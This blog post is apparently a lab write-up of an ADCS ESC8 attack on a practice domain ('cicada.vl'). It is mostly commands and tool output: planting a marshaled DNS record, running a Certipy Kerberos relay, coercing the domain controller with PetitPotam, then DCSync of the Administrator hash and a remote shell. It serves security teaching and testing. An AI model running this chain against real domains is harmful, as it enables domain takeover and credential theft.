Skip to content
wintxx
Go back

Active Directory Certificate Services: Abusing ADCS ESC8 (Kerberos Relay)

Active Directory Certificate Services: Abusing ADCS ESC8 (Kerberos Relay)

Summary

ESC8 is an AD CS vulnerability where the Certificate Enrollment Web Service is enabled over HTTP (without HTTPS). This allows intercepting a Domain Controller’s authentication and relaying it to the CA to request a certificate. With that certificate we can impersonate the DC, perform DCSync, and take full control of the domain.

Requirements

Step-by-step Walkthrough

1. Initial Setup

Ensure correct DNS resolution in /etc/hosts:

echo "10.129.28.63 DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl" | sudo tee -a /etc/hosts

Obtain a Kerberos TGT (Ticket Granting Ticket) for the user:

impacket-getTGT cicada.vl/Rosie.Powell:Cicada123 -dc-ip 10.129.28.63
export KRB5CCNAME=Rosie.Powell.ccache

2. Enumerate AD CS with Certipy

certipy find -k -u Rosie.Powell@cicada.vl -p Cicada123 -dc-ip 10.129.28.63 -target DC-JPQ225 -vulnerable -stdout

Relevant output:

CA Name: cicada-DC-JPQ225-CA
Web Enrollment HTTP: Enabled
[!] ESC8: Web Enrollment is enabled over HTTP.

3. Why add a marshaled DNS record?

When NTLM is disabled, we cannot perform a traditional NTLM relay. We need Kerberos relay, but there is a problem: a Kerberos ticket is encrypted for a specific SPN. If the DC connects to attacker.cicada.vl, the KDC issues a ticket for HOST/attacker.cicada.vl, which cannot be used to authenticate against AD CS.

The trick (discovered by James Forshaw - Project Zero):

A hostname with a special suffix (marshaled target info) is used. When the DC resolves that name via DNS:

  1. DNS resolves it to our IP (10.10.16.107)
  2. Windows SSPI sees the extra suffix, recognizes it as CREDENTIAL_TARGET_INFORMATION, parses and removes it
  3. The original DC SPN remains (e.g., cifs/DC-JPQ225.cicada.vl)
  4. The DC requests a ticket for itself (its own legitimate SPN)
  5. The TCP connection reaches our machine (because DNS points to our IP)
  6. We receive the DC’s ticket and relay it to AD CS

The suffix 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA is the DC’s serialized SPN.

Technical references:

4. Add the marshaled DNS record to AD DNS

bloodyAD --host DC-JPQ225.cicada.vl -d cicada.vl -u Rosie.Powell -p Cicada123 -k add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" 10.10.16.107

Verify the record resolves correctly:

dig @10.129.28.63 DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl +short
# Should return: 10.10.16.107

Explanation: Without the marshaled suffix, the DC would request a ticket for our SPN. With the suffix, Windows interprets it as marshaled target info, extracts it, and the ticket is issued for the DC’s original SPN. DNS resolves the entire string to our IP, so the TCP connection arrives at our machine.

5. Start the Certipy relay

sudo certipy relay -target http://DC-JPQ225.cicada.vl -ca cicada-DC-JPQ225-CA -template DomainController

Note: sudo is required because it binds to port 445 (SMB).

Expected output:

[*] Targeting http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

If port 445 is occupied (by Samba, Responder, or another relay tool):

sudo ss -ltnp | grep ':445'
sudo systemctl stop smbd nmbd

6. Coerce the DC’s authentication

In another terminal, while keeping the relay running:

nxc smb DC-JPQ225.cicada.vl -k -u rosie.powell -p Cicada123 -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

What happens internally?

  1. NetExec uses Kerberos to authenticate to the DC
  2. Sends an RPC request to EfsRpcAddUsersToFile (PetitPotam)
  3. The DC attempts to authenticate against the listener (our machine) via a UNC path
  4. DNS resolves the listener to our IP
  5. The SMB connection (on port 445) reaches the certipy relay
  6. Certipy receives the authentication and relays it to the CA’s HTTP endpoint
  7. The CA issues a certificate using the DomainController template

Expected output in the relay:

[*] Targeting http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445
[*] (SMB): Received connection from 10.129.28.63, attacking target http://DC-JPQ225.cicada.vl
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] (SMB): Authenticating connection from /@10.129.28.63 against http://DC-JPQ225.cicada.vl SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] http:///@dc-jpq225.cicada.vl [1] -> HTTP Request: POST http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 89
[*] Retrieving certificate for request ID: 89
[*] http:///@dc-jpq225.cicada.vl [1] -> HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certnew.cer?ReqID=89 "HTTP/1.1 200 OK"
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Certificate object SID is 'S-1-5-21-687703393-1447795882-66098247-1000'
[*] Saving certificate and private key to 'dc-jpq225.pfx'
[*] Wrote certificate and private key to 'dc-jpq225.pfx'

Certificate successfully obtained via Kerberos relay

7. Authenticate with the obtained certificate

certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.28.63

This extracts from the PFX:

Output:

[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404ee...a65952c664e9cf5de60195626edbeee3

8. DCSync — Extract the Administrator hash

export KRB5CCNAME=dc-jpq225.ccache
klist  # Verify the principal is dc-jpq225$@CICADA.VL

impacket-secretsdump -k -no-pass cicada.vl/dc-jpq225\$@DC-JPQ225.cicada.vl -just-dc-user Administrator

What is DCSync? It is an attack that abuses the DRSUAPI (Directory Replication Service) protocol. Normally DCs use it to replicate data between each other. An attacker with replication permissions (as the DC machine account has) can ask the DC to replicate the hashes of any user, including the Administrator.

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::

Full attack flow from coercion to DCSync

9. Connect as Administrator

Since NTLM authentication is disabled, we need to request a fresh TGT for the Administrator:

impacket-getTGT cicada.vl/Administrator -hashes :85a0da53871a9d56b6cd05deda3a5e87 -dc-ip 10.129.28.63
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl -k -dc-ip 10.129.28.63 -hashes :85a0da53871a9d56b6cd05deda3a5e87

Or via WinRM:

evil-winrm -r CICADA.VL -u administrator -i dc-jpq225.cicada.vl

Administrator shell obtained

References


Thanks for reading — I hope this is useful. If you have any questions, suggestions, corrections, or simply want to share something about this topic, my socials are on this blog — feel free to reach out.

Closing quote:

“The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.”

— Stephen Hawking


Share this post:

Previous Post
Active Directory Certificate Services: Abusing ADCS ESC11 (RPC Relay)
Next Post
BloodHound MCP: Integrating Claude with BloodHound